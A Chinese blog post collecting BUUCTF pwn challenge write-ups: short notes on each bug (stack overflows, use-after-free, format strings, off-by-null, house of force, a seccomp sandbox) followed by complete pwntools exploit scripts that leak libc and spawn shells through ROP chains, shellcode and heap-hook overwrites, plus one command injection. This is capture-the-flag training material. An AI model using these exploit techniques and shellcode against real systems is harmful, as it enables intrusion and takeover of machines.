buuctf刷题(2)

闭门不出,只能在家刷题

ciscn_2019_s_4

栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*- coding: utf-8 -*-
from pwn import *
import time
context.log_level = 'debug'
p = remote('node3.buuoj.cn',29598)
#p = process('./ciscn_s_4')
elf = ELF('ciscn_s_4')
libc = ELF('libc-2.27.so')
p.recvuntil('name?')
p.send('a'*0x20+p32(elf.got['puts'])+p32(0)*2+p32(0x080485FF))
p.recv()
sleep(1)
p.send('a'*0x20+p32(elf.got['puts'])+p32(0)*2+p32(0x080485FF))
p.recvuntil('name?')
p.send('a'*0x28+p32(0)+p32(0x0804861D))
p.recv()
sleep(1)
p.send('a'*0x28+p32(0)+p32(0x0804861D))
p.recv(0x30)
libc_base = u32(p.recv()[0x30:0x34]) - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
p.send('a'*(0x28+4)+p32(libc_base+0x3cbf7))
p.recv()
p.send('a'*(0x28+4)+p32(libc_base+0x3cbf7))
p.interactive()

https://blog.csdn.net/qq_37433000/article/details/104087911

http://39.107.244.116/2019/08/29/%e8%8f%9c%e9%b8%a1%e7%9a%84%e7%bb%83%e4%b9%a0%e7%ac%94%e8%ae%b0/

ciscn_2019_en_3

只有add和delete函数可用

开头有输入name和id的函数,第一眼看去没用,而且_printf_chk查了一下,说是有防止栈溢出的作用

delete函数有uaf漏洞,想了半天没用,于是拿%p去测试了一下,发现_printf_chk存在格式化字符串漏洞,但是不能输入$符号

问题变得很简单了,libc一下就出来了,剩下的就是获取flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
#p = process('./ciscn_2019_en_3')
p = remote('node3.buuoj.cn',29955)
elf = ELF('ciscn_2019_en_3')
libc = elf.libc
def add(size,content):
p.sendlineafter('choice:',str(1))
p.sendlineafter('story: ',str(size))
p.sendlineafter('story:',str(content))
def delete(idx):
p.sendlineafter('choice:',str(4))
p.sendlineafter('index:',str(idx))

p.sendlineafter('name?\n','%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p')
p.recv(64)
libc_base = int(p.recv(14),16) - libc.symbols['_IO_2_1_stderr_']
log.success('libc_base: '+hex(libc_base))
p.sendlineafter('ID.\n','at0de')
add(0x60,'a')
add(0x10,'/bin/sh\x00')
delete(0)
delete(0)
add(0x60,p64(libc_base+0x3ebc40+0x1ca8))
add(0x60,'a')
add(0x60,p64(libc_base+libc.symbols['system']))
delete(1)
#gdb.attach(p)
p.interactive()

ciscn_2019_s_9

栈溢出,利用puts函数泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('node3.buuoj.cn',29747)
#p = process('./ciscn_s_9')
elf = ELF('ciscn_s_9')
libc = ELF('libc-2.27.so')
p.recvuntil('>\n')
p.sendline('a'*0x24+p32(elf.plt['puts'])+p32(0x08048559)+p32(elf.got['puts']))
libc_base = u32(p.recv(0x10)[0x8:0xc]) - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
p.recvuntil('>\n')
p.sendline('a'*0x24+p32(libc_base+libc.symbols['system'])+p32(0)+p32(libc_base+libc.search('/bin/sh\x00').next()))
p.interactive()

cmcc_simplerop

hitcon中lad5的题目,没做过~

http://mrbelieve.tech/2020/02/03/ROPgadget&%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8-cmcc_simplerop/

静态链接,用rop链,但是太长了,看大佬博客发现可以简化

还可以迁移到bss构造system(/bin/sh\x00)

偏移需要拿gdb找,类似:填充’B’*4+’a’*0x100导致程序崩溃,cyclic -l BBBB就可以找到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*  
p = remote('node3.buuoj.cn',29339)
#p = process('./simplerop')
elf = ELF('./simplerop')

pop_edx_ecx_ebx = 0x0806e850
pop_eax = 0x080bae06
pop_edx = 0x0806e82a
int_80 = 0x080493e1
gadget = 0x0809a15d # mov word ptr [edx],eax
bss = 0x080EB1A0
read_plt = 0x0806CD50
p.recv()
payload = 'a'*(0x14+12) + p32(pop_edx) +p32(bss)+ p32(pop_eax) +"/bin"+ p32(gadget)
payload += p32(pop_edx) + p32(bss+4) + p32(pop_eax) + "/sh\x00" + p32(gadget)
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss)
payload += p32(pop_eax) + p32(0xb)
payload += p32(int_80)
p.send(payload)
p.interactive()

#xdctf2015_pwn200

栈溢出,先泄露,再将/bin/sh写到bss数据段,就能获取shell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*  
p = remote('node3.buuoj.cn',27937)
#p = process('./bof')
elf = ELF('./bof')
libc = ELF('libc-2.23.so')
p.recv()
p.send('a'*0x70+p32(elf.plt['write'])+p32(0x080484D6)+p32(1)+p32(elf.got['write'])+p32(4))
libc_base = u32(p.recv(4)) - libc.symbols['write']
print hex(libc_base)
p.send('a'*0x70+p32(elf.plt['read'])+p32(0x080484D6)+p32(0)+p32(elf.bss())+p32(8))
p.send('/bin/sh\x00')
#p.recv()
p.send('a'*0x70+p32(libc_base+libc.symbols['system'])+p32(1)+p32(elf.bss()))
p.interactive()

[极客大挑战 2019]Not Bad

沙箱的题,只有read,write,open能用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ seccomp-tools dump ./bad 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

参考链接:
https://blog.csdn.net/qq_37433000/article/details/102997412

http://www.qfrost.com/PWN/geek_pwn/

64位的seccomp第一次做,尝试了一下没做出来

搬运大佬的exp,后面或许会遇到类似的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import pwnlib
context_arch='amd64'
p=process('./bad')
elf=ELF('./bad')
buf_addr=0x123000
jmp_rsp=0x00400a01
shellcode='''
push 0x67616c66
mov rdi,rsp
push 2
pop rax
xor rsi,rsi
push 38
pop rdx
syscall
mov rdi,rax
mov rsi,rsp
xor rax,rax
syscall
push 1
pop rdi
push 1
pop rax
syscall
'''
shellcode=asm(shellcode,arch='amd64',os='linux')
log.success('sc_len: '+str(len(shellcode)))
payload=shellcode.ljust(40,'a')+p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp',arch='amd64',os='linux')
p.recvuntil('!')
p.sendline(payload)
p.interactive()

others_babystack

简单的栈溢出,这道题关键点在于rop的指令写入必须要退出循环一次才能执行写入的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('node3.buuoj.cn',25893)
#p = process('./babystack')
elf = ELF('babystack')
libc = ELF('libc-2.23.so')

p.recvuntil('>> ')
p.sendline('1')
p.sendline('a'*(0x90-0x8))
p.recvuntil('>> ')
p.send('2')
canary = u64(p.recv()[0x89:0x90].rjust(8,'\x00'))
print hex(canary)
p.send('1')
p.send('a'*(0x90-0x8)+p64(canary)+'a'*8+p64(0x400a93)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400908))
p.recvuntil('>> ')
p.send('3')
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['puts']
print hex(libc_base)
p.send('1')
p.send('a'*(0x90-0x8)+p64(canary)+'a'*8+p64(0x45216+libc_base))
p.recvuntil('>> ')
p.send('3')
p.interactive()

bcloud_bctf_2016

https://bbs.pediy.com/thread-257343.htm

这道题考察的是house_of_force

house_of_force:修改top_chunk的大小,比如改为-1,就可以分配任意大小的chunk了
条件:溢出,chunk大小完全可控

分析程序:

1.在写入content的时候有off-by-null漏洞,因此导致开头的name,org,host存在空字节溢出,add和edit功能也存在;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl read_data(int a1, int a2, char a3)
{
char buf; // [esp+1Bh] [ebp-Dh]
int i; // [esp+1Ch] [ebp-Ch]

for ( i = 0; i < a2; ++i )
{
if ( read(0, &buf, 1u) <= 0 )
exit(-1);
if ( buf == a3 )
break;
*(a1 + i) = buf;
}
*(i + a1) = 0; //off-by-null漏洞
return i;
}

2.add函数里实际malloc的大小比输入的大小多4,填充host的chunk申请下后与top_chunk相邻,利用这里的溢出实现house_of_force

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -*- coding: utf-8 -*-
from pwn import *
import time
context.log_level = 'debug'
p = remote('node3.buuoj.cn',29233)
#p = process('./bcloud_bctf_2016')
elf = ELF('bcloud_bctf_2016')
libc = ELF('libc-2.23.so')

def add(size,content):
p.sendlineafter('option--->>\n',str(1))
p.sendlineafter('content:\n',str(size))
p.recvuntil('content:\n')
p.sendline(str(content))

def edit(idx,content):
p.sendlineafter('option--->>\n',str(3))
p.sendlineafter('id:\n',str(idx))
p.recvuntil('content:\n')
p.sendline(str(content))

def delete(idx):
p.sendlineafter('option--->>\n',str(4))
p.sendlineafter('id:\n',str(idx))

def syn():
p.sendlineafter('option--->>\n',str(5))


p.recvuntil('name:\n')
p.send('\xff'*0x40)
heap_addr = u32(p.recv()[0x44:0x48]) -0x8
log.success('heap_addr: '+hex(heap_addr))
sleep(0.5)
p.send('\xff'*0x40)
p.recvuntil('Host:\n')
p.send('\xff'*0x40)

top_chunk = heap_addr + 0xd8
size_list = 0x0804B0A0
true_size = size_list -top_chunk - 0x10 -0x4
add(true_size,'a')
p.recv()
p.sendline('\n')
add(0x100,'a'*0x80+p32(elf.got['atoi'])*2+p32(elf.got['free']))
edit(2,p32(elf.plt['puts']))
delete(1)
libc_base = u32(p.recv(4)) - libc.symbols['atoi']
log.success('libc_base: '+hex(libc_base))

edit(0,p32(libc_base+libc.symbols['system']))
p.send('/bin/sh\x00')

p.interactive()

总结:

算是第一次使用house_of_force,我觉得最重要的在于分析程序,只有弄清楚每一处代码才知道如何下手。

bjdctf_2020_router

试出来的,没原理。。。

1
2
3
4
5
6
7
8
9
10
11
# -*- coding: utf-8 -*-
from pwn import *
import time
context.log_level = 'debug'
p = remote('node3.buuoj.cn',28653)
#p = process('./bjdctf_2020_router')
p.recvuntil('choose:\n')
p.sendline('1')
p.recvuntil('address:')
p.send('flag|cat flag')
p.interactive()

roarctf_2019_easyheap

https://github.com/berTrAM888/RoarCTF-Writeup-some-Source-Code/blob/master/Pwn/easyheap/writeup.md

题目存在一个很容易发现的UAF,并且限制了show

但是问题是,题目只能申请一个chunk

1.申请大量fastbin chunk,用scanf触发malloc_conslidate 合并构造unsorted bin
2.利用fastbin拿回chunk,并利用0xao 构造unlink
3.Double free unlink 写到.bss上利用username 和 password 构造house of spirit
4.用fastbin 再拿回来,修改random_num,顺利leaking
5.最后在这个UAF上edit 利用fastbin attack 写到__malloc_hook

最后题目关闭了stdout,用骚操作反弹就可以或者stdin输出?

学习了一下malloc_conslidate函数:https://blog.csdn.net/Plus_RE/article/details/79265805

总结
1.若 get_max_fast() 返回 0,则进行堆的初始化工作,然后进入第 7 步
2.从 fastbin 中获取一个空闲 chunk
3.尝试向后合并
4.若向前相邻 top_chunk,则直接合并到 top_chunk,然后进入第 6 步
5.否则尝试向前合并后,插入到 unsorted_bin 中
6.获取下一个空闲 chunk,回到第 2 步,直到所有 fastbin 清空后进入第 7 步
7.退出函数

根据本体情况进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> x/50gx 0x127c000
0x127c000: 0x0000000000000000 0x0000000000000141 //chunk0:0x30
0x127c010: 0x00007f4dc0f43ca8 0x00007f4dc0f43ca8
0x127c020: 0x6161616161616161 0x6161616161616161
0x127c030: 0x0000000000000030 0x0000000000000060 //chunk1:0x50
0x127c040: 0x0000000000000000 0x6161616161616161
0x127c050: 0x6161616161616161 0x6161616161616161
0x127c060: 0x6161616161616161 0x6161616161616161
0x127c070: 0x6161616161616161 0x6161616161616161
0x127c080: 0x6161616161616161 0x6161616161616161
0x127c090: 0x0000000000000000 0x0000000000000041 //chunk2:0x30
0x127c0a0: 0x00007f4dc0f43b78 0x00007f4dc0f43b78
0x127c0b0: 0x6161616161616161 0x6161616161616161
0x127c0c0: 0x6161616161616161 0x6161616161616161
0x127c0d0: 0x00000000000000d0 0x0000000000000070 //chunk3:0x60
0x127c0e0: 0x0000000000000000 0x6161616161616161
0x127c0f0: 0x6161616161616161 0x6161616161616161
0x127c100: 0x6161616161616161 0x6161616161616161
0x127c110: 0x6161616161616161 0x6161616161616161
0x127c120: 0x6161616161616161 0x6161616161616161
0x127c130: 0x0000000000000000 0x0000000000000031
0x127c140: 0x0000000000000140 0x0000000000000020 //chun4:0x10
0x127c150: 0x6161616161616161 0x6161616161616161
0x127c160: 0x0000000000000000 0x0000000000020ea1 //top chunk
0x127c170: 0x3131313131313131 0x3131313131313131

1.chunk0和chunk1合并,然后放入unsorted bin;
2.chunk2和chunk3合并,先放入unsoted bin,然后合并成一个更大的chunk;

这里我总结一下关于unsorted bin链接到主分配区偏移的计算方法:偏移 = 24 + chunk大小(10进制)

注:这里的chunk大小指我们malloc时的,而不是实际分配的

wp可参考这里:https://hitworld.github.io/posts/e020a382/

看wp说题目关闭了stdout,需要反弹或者stdin输出

http://m4x.fun/post/play-with-file-descriptor-3/

这篇文章讲得很好,补充了我的一些知识空白

ciscn_2019_final_5

大致看了一下,没找到漏洞~~开始详细分析程序

new功能:最多16个chunk,chunk的大小在0~0x1000,会输出堆的最低三位地址,堆地址的最后一位是chunk的index !!!

这个漏洞真心难发现:edit的时候取地址的最后一位,也就是chunk的index,但是最多可以申请16个chunk,会将堆提升0x10,相当于能溢出0x10的大小!

我太难了~~刚开始准备劫持stdout,搞了老半天没出来,一看其他师傅改的fd,瞬间感到自己菜的无药可救o(╥﹏╥)o

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('node3.buuoj.cn',27004)
#p = process('./ciscn_final_5')
elf = ELF('ciscn_final_5')
libc = elf.libc

def add(index,size,content):
p.sendlineafter('choice: ',str(1))
p.sendlineafter('index: ',str(index))
p.sendlineafter('size: ',str(size))
p.recvuntil('content: ')
p.send(str(content))
p.recvuntil(': ')
return str(p.recv(5))
def delete(index):
p.sendlineafter('choice: ',str(2))
p.sendlineafter('index: ',str(index))
def edit(index,content):
p.sendlineafter('choice: ',str(3))
p.sendlineafter('index: ',str(index))
p.recvuntil('content: ')
p.send(str(content))
add(16,0x10,'a')
add(1,0x88,'a')
add(2,0x88,'a')
add(3,0x88,'a')
edit(0,p64(0)+p64(0x300))
delete(1)
add(5,0x300-0x10,'a')
delete(3)
delete(2)
edit(5,'a'*0x80+p64(0)+p64(91)+p64(0x6020E0))
add(6,0x88,'a')
add(7,0x88,p64(elf.got['free'])+p64(elf.got['puts'])+p64(elf.got['atoi']))
edit(8,p64(elf.plt['puts'])*2)
delete(0)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
edit(8,p64(libc.symbols['system']+libc_base)*2)
add(1,0x10,'/bin/sh')
delete(1)
p.interactive()

这道题不难,主要是漏洞点比较难发现

[OGeek2019]bookmanager

这道题ida分析出来的伪代码比较麻烦,自己慢慢测试功能

漏洞挺多的,在add_text的时候有溢出,可以溢出任意大小,在update处也有溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
debug = 0
elf = ELF('pwn')

if debug:
sh = process('./pwn')
libc = elf.libc
else:
sh = remote('node3.buuoj.cn', 28981)
libc = ELF('1664.so')

def add_chapter(c_name):
sh.sendlineafter('Your choice:', '1')
sh.sendafter('Chapter name:', c_name)

def add_section(c_name, s_name):
sh.sendlineafter('Your choice:', '2')
sh.sendafter('Which chapter do you want to add into:', c_name)
sh.sendafter('Section name:', s_name)

def add_text(s_name, size, text):
sh.sendlineafter('Your choice:', '3')
sh.sendafter('Which section do you want to add into:', s_name)
sh.sendlineafter('How many chapters you want to write:', str(size))
sh.sendafter('Text:', text)

def remove_chapter(c_name):
sh.sendlineafter('Your choice:', '4')
sh.sendafter('Chapter name:', c_name)

def remove_section(s_name):
sh.sendlineafter('Your choice:', '5')
sh.sendafter('Section name:', s_name)

def remove_text(text):
sh.sendlineafter('Your choice:', '6')
sh.sendafter('Section name:', text)

def book_preview():
sh.sendlineafter('Your choice:', '7')

def update(s_name, text):
sh.sendlineafter('Your choice:', '8')
sh.sendlineafter('hat to update?(Chapter/Section/Text):', 'Text')
sh.sendafter('Section name:', s_name)
sh.sendafter('New Text:', text)

sh.recvuntil('create: ')
sh.send('at0de')
add_chapter('0')
add_section('0','a')
add_section('0','b')
add_text('a',0x88,'a'*0x88)
add_text('b',0x68,'b'*0x68)
remove_text('a')
add_text('a',0x88,'\x78')
book_preview()
libc_base = u64(sh.recv(0x40)[0x31:0x38].ljust(8,'\x00')) - 0x3c4b20 -88
log.success('libc_base: '+hex(libc_base))
add_section('0','c')
update('b', '/bin/sh\0'.ljust(0x60, '\0') + p64(0) + p64(0x41) + 'c'.ljust(0x20, '\0') + p64(libc_base + libc.symbols['__free_hook']))
update('c', p64(libc_base + libc.symbols['system']))
remove_text('b')
sh.interactive()

ciscn_2019_s_8

静态链接,可以直接生成ropchain

在输入字符串的时候没有于溢出,但在strcpy处理的时候存在溢出,但是rop链包含大量’\x00’,会被截断

后面有个对字符串异或的功能,我们可以先对字符串异或,然后程序再次异或就会还原rop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack
context.log_level = 'debug'
sh = process('./pwn')

def encrypt(data):
crypto = ''
for i in data:
crypto += chr(ord(i) ^ 0x66)
return crypto

# Padding goes here
p = ''
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += p64(0x3b)
p += pack('<Q', 0x000000000047b94f) # syscall

sh.recvuntil('Password: \n')
sh.send('a'*0x50+encrypt(p))
sh.interactive()

ciscn_2019_s_6

uaf漏洞,onegadget不能用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
debug = 0
elf = ELF('pwn')

if debug:
sh = process('./pwn')
libc = elf.libc
else:
sh = remote('node3.buuoj.cn', 27537)
libc = ELF('2764.so')


def add(size,name,call):
sh.sendlineafter('choice:',str(1))
sh.sendlineafter('name\n',str(size))
sh.sendlineafter('name:\n',str(name))
sh.sendlineafter('call:\n',str(call))
def show(idx):
sh.sendlineafter('choice:',str(2))
sh.sendlineafter('index:\n',str(idx))
def delete(idx):
sh.sendlineafter('choice:',str(3))
sh.sendlineafter('index:\n',str(idx))

add(0x88,'a','0')
add(0x68,'a','1')
for i in range(8):
delete(0)
show(0)
sh.recvuntil('name:\n')
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
log.success('libc_base: '+hex(libc_base))
delete(1)
delete(1)
add(0x68,p64(libc_base+0x3ed8e8)*2,'2')
add(0x68,'/bin/sh\x00','3')
add(0x68,p64(libc_base+libc.symbols['system'])*2,'4')
delete(3)
#gdb.attach(sh)
sh.interactive()

pwnable_start

这是一道汇编写的题,不熟悉汇编的可以拿gdb一步一步调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -*- coding: utf-8 -*-
from pwn import *
sh = process('./start')
sh.recvuntil('CTF:')
sh.send('a'*0x14+p32(0x8048087))
stack_addr = u32(sh.recv()[:4])
shellcode='''
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov al,0xb
int 0x80
'''
sh.send('a'*0x14+p32(stack_addr+0x14)+asm(shellcode))
sh.interactive()

cmcc_pwnme2

直接读取flag到string的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = 'debug'
debug = 0
elf = ELF('pwnme2')

if debug:
sh = process('./pwnme2')
libc = elf.libc
else:
sh = remote('node3.buuoj.cn',28027)

sh.recvuntil('input:\n')
sh.sendline('a'*0x70+p32(0x08048440)+p32(0x080485CB)+p32(0x0804A060))
sh.sendline('flag')
sh.interactive()

TWCTF_online_2019_asterisk_alloc

主要对realloc的考察

exp来自balsn战队

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

#r = process("./asterisk_alloc")
r = remote("ast-alloc.chal.ctf.westerns.tokyo", 10001)
def realloc(size,content):
r.sendlineafter(":","3")
r.sendlineafter(":",str(size))
if size > 0:
r.sendafter(": ",content)
else:
r.recvuntil(": ")
def malloc(size,content):
r.sendlineafter(":","1")
r.sendlineafter(":",str(size))
r.sendafter(":",content)

def calloc(size,content):
r.sendlineafter(":","2")
r.sendlineafter(":",str(size))
r.sendafter(":",content)

def free(t):
r.sendlineafter(":","4")
r.sendlineafter(":",t)



realloc(0x90,"a")
calloc(0x90,"a")
malloc(0x90,"a")
for i in range(8):
free("r")
val = 0xa760
realloc(0x90,p16(val))
realloc(-1,"a")
realloc(0x90,"a")
realloc(-1,"a")
realloc(0x90,p64(0xfbad1800)+"\x00"*0x19)
data = r.recvuntil("=")
libc = u64(data[1*8:1*8+8])-0x3ed8b0
print hex(libc)

free("m")
realloc(-1,"a")
realloc(0x90,"a")
free("r")
realloc(0x90,p64(libc+0x3ed8e8))
realloc(-1,"a")
realloc(0x90,"a")
realloc(-1,"a")
realloc(0x90,p64(libc+0x4f322))
free("m")


r.interactive()